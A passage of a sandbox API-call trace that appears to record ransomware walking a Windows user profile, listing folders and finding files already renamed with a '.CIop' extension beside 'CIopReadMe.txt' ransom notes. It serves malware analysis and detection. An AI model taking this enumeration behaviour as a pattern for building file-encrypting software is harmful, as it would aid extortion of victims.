lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites" [0128.260] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\" [0128.260] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\", lpString2="Links" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links" [0128.260] SetErrorMode (uMode=0x1) returned 0x1 [0128.260] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links" [0128.260] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\" [0128.260] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\" [0128.260] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\*.*" [0128.260] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e478 [0128.260] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links") returned="Links" [0128.260] lstrcpyW (in: lpString1=0x2dc7014, lpString2="Links" | out: lpString1="Links") returned="Links" [0128.260] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.260] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.260] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0128.260] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0128.260] lstrlenW (lpString="desktop.ini") returned 11 [0128.260] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0128.260] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0128.260] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0128.260] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links" [0128.260] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\*.*" [0128.260] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e478 [0128.261] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links") returned="Links" [0128.261] lstrcpyW (in: lpString1=0x2dc7014, lpString2="Links" | out: lpString1="Links") returned="Links" [0128.261] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.261] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.261] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.261] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0128.261] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0128.261] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0128.261] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.261] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0128.261] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 0 [0128.261] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.261] lstrcmpW (lpString1="Links", lpString2="..") returned 1 [0128.261] lstrcmpW (lpString1="Links", lpString2=".") returned 1 [0128.261] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0128.261] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0128.261] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Links" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links") returned="C:\\Users\\CIiHmnxMn6Ps\\Links" [0128.261] SetErrorMode (uMode=0x1) returned 0x1 [0128.261] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Links" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links") returned="C:\\Users\\CIiHmnxMn6Ps\\Links" [0128.261] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Links\\" [0128.261] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Links\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Links\\" [0128.261] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Links\\*.*" [0128.261] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Links\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e3f8 [0128.262] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Links") returned="Links" [0128.262] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Links" | out: lpString1="Links") returned="Links" [0128.262] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.262] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.262] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0128.262] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0128.262] lstrlenW (lpString="desktop.ini") returned 11 [0128.262] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.262] lstrcmpW (lpString1="Desktop.lnk", lpString2="..") returned 1 [0128.262] lstrcmpW (lpString1="Desktop.lnk", lpString2=".") returned 1 [0128.262] lstrlenW (lpString=".LNK") returned 4 [0128.262] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.262] lstrcmpW (lpString1="Downloads.lnk", lpString2="..") returned 1 [0128.262] lstrcmpW (lpString1="Downloads.lnk", lpString2=".") returned 1 [0128.262] lstrlenW (lpString=".LNK") returned 4 [0128.262] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.262] lstrcmpW (lpString1="OneDrive.lnk", lpString2="..") returned 1 [0128.262] lstrcmpW (lpString1="OneDrive.lnk", lpString2=".") returned 1 [0128.262] lstrlenW (lpString=".LNK") returned 4 [0128.262] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.262] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0128.262] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 0 [0128.262] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Links" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links") returned="C:\\Users\\CIiHmnxMn6Ps\\Links" [0128.262] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Links\\*.*" [0128.262] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Links\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e3f8 [0128.262] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Links") returned="Links" [0128.262] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Links" | out: lpString1="Links") returned="Links" [0128.263] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.263] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.263] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.263] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.263] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.263] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.263] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.263] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0128.263] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 0 [0128.263] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.263] lstrcmpW (lpString1="Local Settings", lpString2="..") returned 1 [0128.263] lstrcmpW (lpString1="Local Settings", lpString2=".") returned 1 [0128.263] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0128.263] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0128.263] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Local Settings" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings") returned="C:\\Users\\CIiHmnxMn6Ps\\Local Settings" [0128.263] SetErrorMode (uMode=0x1) returned 0x1 [0128.263] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Local Settings" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings") returned="C:\\Users\\CIiHmnxMn6Ps\\Local Settings" [0128.263] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\" [0128.263] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\" [0128.263] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\*.*" [0128.263] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0128.263] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Local Settings") returned="Local Settings" [0128.263] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Local Settings" | out: lpString1="Local Settings") returned="Local Settings" [0128.263] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.263] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Local Settings" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings") returned="C:\\Users\\CIiHmnxMn6Ps\\Local Settings" [0128.263] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\*.*" [0128.263] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0128.264] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Local Settings") returned="Local Settings" [0128.264] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Local Settings" | out: lpString1="Local Settings") returned="Local Settings" [0128.264] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.264] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.264] lstrcmpW (lpString1="Music", lpString2="..") returned 1 [0128.264] lstrcmpW (lpString1="Music", lpString2=".") returned 1 [0128.264] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0128.264] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0128.264] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Music" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music") returned="C:\\Users\\CIiHmnxMn6Ps\\Music" [0128.264] SetErrorMode (uMode=0x1) returned 0x1 [0128.264] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music") returned="C:\\Users\\CIiHmnxMn6Ps\\Music" [0128.264] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\" [0128.264] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\" [0128.264] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\*.*" [0128.264] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e3f8 [0128.264] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Music") returned="Music" [0128.264] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Music" | out: lpString1="Music") returned="Music" [0128.264] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.264] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.264] lstrcmpW (lpString1="2G6M.mp3.CIop", lpString2="..") returned 1 [0128.264] lstrcmpW (lpString1="2G6M.mp3.CIop", lpString2=".") returned 1 [0128.264] lstrlenW (lpString=".CIop") returned 5 [0128.264] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.264] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0128.264] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0128.264] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0128.264] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.264] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0128.264] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0128.264] lstrlenW (lpString="desktop.ini") returned 11 [0128.264] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.264] lstrcmpW (lpString1="eEmxkUZ3.wav.CIop", lpString2="..") returned 1 [0128.264] lstrcmpW (lpString1="eEmxkUZ3.wav.CIop", lpString2=".") returned 1 [0128.264] lstrlenW (lpString=".CIop") returned 5 [0128.264] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.264] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.264] lstrcmpW (lpString1="I8Dv-9gTrMuD.mp3.CIop", lpString2="..") returned 1 [0128.264] lstrcmpW (lpString1="I8Dv-9gTrMuD.mp3.CIop", lpString2=".") returned 1 [0128.264] lstrlenW (lpString=".CIop") returned 5 [0128.264] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.265] lstrcmpW (lpString1="N0rL.wav.CIop", lpString2="..") returned 1 [0128.265] lstrcmpW (lpString1="N0rL.wav.CIop", lpString2=".") returned 1 [0128.265] lstrlenW (lpString=".CIop") returned 5 [0128.265] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.265] lstrcmpW (lpString1="p6UEXQwLP.mp3.CIop", lpString2="..") returned 1 [0128.265] lstrcmpW (lpString1="p6UEXQwLP.mp3.CIop", lpString2=".") returned 1 [0128.265] lstrlenW (lpString=".CIop") returned 5 [0128.265] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.265] lstrcmpW (lpString1="Pf3R-b3DBtl.wav.CIop", lpString2="..") returned 1 [0128.265] lstrcmpW (lpString1="Pf3R-b3DBtl.wav.CIop", lpString2=".") returned 1 [0128.265] lstrlenW (lpString=".CIop") returned 5 [0128.265] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.265] lstrcmpW (lpString1="vEcRh3pLVRcZ1O.mp3.CIop", lpString2="..") returned 1 [0128.265] lstrcmpW (lpString1="vEcRh3pLVRcZ1O.mp3.CIop", lpString2=".") returned 1 [0128.265] lstrlenW (lpString=".CIop") returned 5 [0128.265] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.265] lstrcmpW (lpString1="z8Pr_v.mp3.CIop", lpString2="..") returned 1 [0128.265] lstrcmpW (lpString1="z8Pr_v.mp3.CIop", lpString2=".") returned 1 [0128.265] lstrlenW (lpString=".CIop") returned 5 [0128.265] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.265] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.265] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0128.265] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 0 [0128.265] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music") returned="C:\\Users\\CIiHmnxMn6Ps\\Music" [0128.265] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\*.*" [0128.265] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e3f8 [0128.265] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Music") returned="Music" [0128.265] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Music" | out: lpString1="Music") returned="Music" [0128.265] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.265] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.265] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.265] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.265] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.265] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.265] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.265] lstrcmpW (lpString1="GO5j 80", lpString2="..") returned 1 [0128.265] lstrcmpW (lpString1="GO5j 80", lpString2=".") returned 1 [0128.266] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music") returned="C:\\Users\\CIiHmnxMn6Ps\\Music" [0128.266] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\" [0128.266] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\", lpString2="GO5j 80" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80" [0128.266] SetErrorMode (uMode=0x1) returned 0x1 [0128.266] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80" [0128.266] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\" [0128.266] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\" [0128.266] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\*.*" [0128.266] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e478 [0128.266] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80") returned="GO5j 80" [0128.266] lstrcpyW (in: lpString1=0x2dc7014, lpString2="GO5j 80" | out: lpString1="GO5j 80") returned="GO5j 80" [0128.266] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.266] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.266] lstrcmpW (lpString1="2HvoIrFtByws.mp3.CIop", lpString2="..") returned 1 [0128.266] lstrcmpW (lpString1="2HvoIrFtByws.mp3.CIop", lpString2=".") returned 1 [0128.266] lstrlenW (lpString=".CIop") returned 5 [0128.266] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.266] lstrcmpW (lpString1="69_UAHNRs.mp3.CIop", lpString2="..") returned 1 [0128.266] lstrcmpW (lpString1="69_UAHNRs.mp3.CIop", lpString2=".") returned 1 [0128.266] lstrlenW (lpString=".CIop") returned 5 [0128.266] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.266] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0128.266] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0128.266] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0128.266] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.266] lstrcmpW (lpString1="dCyPtvG.wav.CIop", lpString2="..") returned 1 [0128.266] lstrcmpW (lpString1="dCyPtvG.wav.CIop", lpString2=".") returned 1 [0128.266] lstrlenW (lpString=".CIop") returned 5 [0128.266] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.266] lstrcmpW (lpString1="Dg7 CrsqU k7Xp.mp3.CIop", lpString2="..") returned 1 [0128.266] lstrcmpW (lpString1="Dg7 CrsqU k7Xp.mp3.CIop", lpString2=".") returned 1 [0128.266] lstrlenW (lpString=".CIop") returned 5 [0128.266] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.266] lstrcmpW (lpString1="gRZdqIY3h.mp3.CIop", lpString2="..") returned 1 [0128.266] lstrcmpW (lpString1="gRZdqIY3h.mp3.CIop", lpString2=".") returned 1 [0128.266] lstrlenW (lpString=".CIop") returned 5 [0128.266] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.266] lstrcmpW (lpString1="GsSWFcQiPn.wav.CIop", lpString2="..") returned 1 [0128.266] lstrcmpW (lpString1="GsSWFcQiPn.wav.CIop", lpString2=".") returned 1 [0128.266] lstrlenW (lpString=".CIop") returned 5 [0128.266] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.266] lstrcmpW 